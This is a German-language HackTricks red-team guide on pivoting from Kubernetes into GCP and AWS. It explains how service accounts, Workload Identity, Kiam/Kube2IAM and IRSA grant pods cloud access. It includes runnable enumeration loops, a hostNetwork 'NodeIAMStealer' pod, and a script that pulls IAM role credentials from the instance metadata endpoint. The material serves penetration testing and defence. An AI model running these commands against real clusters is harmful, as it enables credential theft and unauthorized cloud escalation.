Kubernetes Pivoting to Clouds

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

GCP

Wenn Sie einen k8s-Cluster in GCP ausführen, möchten Sie wahrscheinlich, dass eine Anwendung, die im Cluster läuft, auf GCP zugreifen kann. Es gibt 2 gängige Möglichkeiten, dies zu tun:

GCP-SA-Schlüssel als Geheimnis einbinden

Ein üblicher Weg, einer Kubernetes-Anwendung Zugriff auf GCP zu geben, ist:

  • Erstellen eines GCP-Servicekontos

  • Binden der gewünschten Berechtigungen daran

  • Herunterladen eines JSON-Schlüssels des erstellten SA

  • Einbinden als Geheimnis innerhalb des Pods

  • Setzen der Umgebungsvariable GOOGLE_APPLICATION_CREDENTIALS, die auf den Pfad zeigt, an dem sich das JSON befindet.

Daher sollten Sie als Angreifer, wenn Sie einen Container innerhalb eines Pods kompromittieren, auf diese Umgebungsvariable und JSON-Dateien mit GCP-Anmeldeinformationen überprüfen.

Verknüpfung von GSA-JSON mit KSA-Geheimnis

Eine Möglichkeit, einem GSA Zugriff auf einen GKE-Cluster zu geben, besteht darin, sie folgendermaßen zu binden:

  • Erstellen Sie ein Kubernetes-Servicekonto im selben Namespace wie Ihr GKE-Cluster mit dem folgenden Befehl:

Copy codekubectl create serviceaccount <service-account-name>
  • Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP-Dienstkontos enthält, dem Sie Zugriff auf den GKE-Cluster gewähren möchten. Dies können Sie mit dem gcloud Befehlszeilentool tun, wie im folgenden Beispiel gezeigt:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Binden Sie das Kubernetes Secret an das Kubernetes-Service-Konto mit dem folgenden Befehl:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Im zweiten Schritt wurden die Anmeldedaten des GSA als Geheimnis des KSA festgelegt. Wenn Sie dann dieses Geheimnis innerhalb des GKE-Clusters lesen können, können Sie zu diesem GCP-Dienstkonto eskalieren.

GKE-Workload-Identität

Mit der Workload-Identität können wir ein Kubernetes-Servicekonto konfigurieren, um als Google-Dienstkonto zu fungieren. Pods, die mit dem Kubernetes-Servicekonto ausgeführt werden, authentifizieren sich automatisch als das Google-Dienstkonto beim Zugriff auf Google Cloud APIs.

Die erste Reihe von Schritten, um dieses Verhalten zu aktivieren, besteht darin, Workload-Identität in GCP zu aktivieren (Schritte) und das GCP SA zu erstellen, das Sie möchten, dass k8s es verkörpert.

  • Aktivieren Sie die Workload-Identität auf einem neuen Cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Erstellen/Aktualisieren eines neuen Nodepools (Autopilot-Cluster benötigen dies nicht)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Erstellen Sie das GCP-Dienstkonto zum Impersonieren von K8s mit GCP-Berechtigungen:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Verbinden Sie sich mit dem Cluster und erstellen Sie das Service-Konto, das verwendet werden soll

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Binden Sie die GSA mit der KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Führen Sie ein Pod mit dem KSA aus und überprüfen Sie den Zugriff auf GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Überprüfen Sie den folgenden Befehl zur Authentifizierung, falls erforderlich:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Als Angreifer innerhalb von K8s sollten Sie nach SAs mit der iam.gke.io/gcp-service-account-Annotation suchen, da dies darauf hinweist, dass der SA auf etwas in GCP zugreifen kann. Eine andere Option wäre, zu versuchen, jeden KSA im Cluster zu missbrauchen und zu überprüfen, ob er Zugriff hat. Von GCP aus ist es immer interessant, die Bindungen aufzulisten und zu wissen, welchen Zugriff Sie den SAs innerhalb von Kubernetes geben.

Dies ist ein Skript, um einfach über alle Pod-Definitionen zu iterieren und nach dieser Annotation zu suchen:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM-Rolle für Pods)

Ein (veralteter) Weg, IAM-Rollen an Pods zu vergeben, besteht darin, einen Kiam oder einen Kube2IAM Server zu verwenden. Grundsätzlich müssen Sie einen Daemonset in Ihrem Cluster mit einer Art privilegierter IAM-Rolle ausführen. Dieses Daemonset wird IAM-Rollen den Pods zugänglich machen, die sie benötigen.

Zunächst müssen Sie konfigurieren, auf welche Rollen innerhalb des Namespaces zugegriffen werden kann, und das geschieht mit einer Annotation im Namespace-Objekt:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Sobald der Namespace mit den IAM-Rollen konfiguriert ist, die die Pods haben können, können Sie die Rolle, die Sie auf jeder Pod-Definition möchten, angeben, indem Sie etwas Ähnliches wie:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Als Angreifer können Sie, wenn Sie diese Anmerkungen in Pods oder Namespaces finden oder einen kiam/kube2iam-Server (wahrscheinlich in kube-system) laufen lassen, jede Rolle nachahmen, die bereits von Pods verwendet wird, und mehr (wenn Sie Zugriff auf das AWS-Konto haben, die Rollen auflisten).

Pod mit IAM-Rolle erstellen

Die IAM-Rolle, die angegeben werden muss, muss sich im selben AWS-Konto wie die kiam/kube2iam-Rolle befinden und diese Rolle muss darauf zugreifen können.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM-Rolle für K8s-Service-Konten über OIDC

Dies ist der empfohlene Weg von AWS.

  1. Erstellen Sie dann eine IAM-Rolle mit den Berechtigungen, die das SK benötigen wird.

  2. Erstellen Sie eine Vertrauensbeziehung zwischen der IAM-Rolle und dem SK Namen (oder den Namespaces, die dem SK Zugriff auf alle SKs des Namespaces gewähren). Die Vertrauensbeziehung überprüft hauptsächlich den OIDC-Anbieter-Namen, den Namespace-Namen und den SK-Namen.

  3. Schließlich erstellen Sie ein SK mit einer Annotation, die den ARN der Rolle angibt, und die Pods, die mit diesem SK ausgeführt werden, haben Zugriff auf das Token der Rolle. Das Token wird in einer Datei geschrieben und der Pfad wird in AWS_WEB_IDENTITY_TOKEN_FILE angegeben (Standard: /var/run/secrets/eks.amazonaws.com/serviceaccount/token).

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Um aws mit dem Token von /var/run/secrets/eks.amazonaws.com/serviceaccount/token zu erhalten, führen Sie aus:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Als Angreifer können Sie, wenn Sie einen K8s-Cluster aufzählen können, nach Service-Konten mit dieser Annotation suchen, um zu AWS zu eskalieren. Führen Sie einfach einen Pod mit einem der IAM-privilegierten Service-Konten aus/erstellen und stehlen Sie das Token.

Darüber hinaus sollten Sie, wenn Sie sich innerhalb eines Pods befinden, nach Umgebungsvariablen wie AWS_ROLE_ARN und AWS_WEB_IDENTITY_TOKEN suchen.

Manchmal ist die Vertrauensrichtlinie einer Rolle möglicherweise schlecht konfiguriert und gibt anstelle des Erteilen des AssumeRole-Zugriffs auf das erwartete Service-Konto diesen Zugriff an alle Service-Konten. Wenn Sie also in der Lage sind, eine Annotation auf einem kontrollierten Service-Konto zu schreiben, können Sie auf die Rolle zugreifen.

Überprüfen Sie die folgende Seite für weitere Informationen:

pageAWS - Federation Abuse

Finden von Pods und SAs mit IAM-Rollen im Cluster

Dies ist ein Skript, um einfach über alle Pods und SA-Definitionen zu iterieren, um nach dieser Annotation zu suchen:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Knoten-IAM-Rolle

Der vorherige Abschnitt handelte davon, wie man IAM-Rollen mit Pods stiehlt, aber beachten Sie, dass ein Knoten des K8s-Clusters ein Instanz innerhalb der Cloud sein wird. Dies bedeutet, dass es höchstwahrscheinlich eine neue IAM-Rolle geben wird, die Sie stehlen können (beachten Sie, dass in der Regel alle Knoten eines K8s-Clusters dieselbe IAM-Rolle haben, daher lohnt es sich möglicherweise nicht, jeden Knoten zu überprüfen).

Es gibt jedoch eine wichtige Voraussetzung, um auf den Metadaten-Endpunkt vom Knoten aus zuzugreifen: Sie müssen auf dem Knoten sein (SSH-Sitzung?) oder zumindest das gleiche Netzwerk haben:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM-Rollen-Token stehlen

Zuvor haben wir besprochen, wie man IAM-Rollen an Pods anhängt oder sogar wie man zum Node entkommt, um die IAM-Rolle zu stehlen, die der Instanz angehängt ist.

Sie können das folgende Skript verwenden, um Ihre neu erarbeiteten IAM-Rollen-Anmeldeinformationen zu stehlen:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated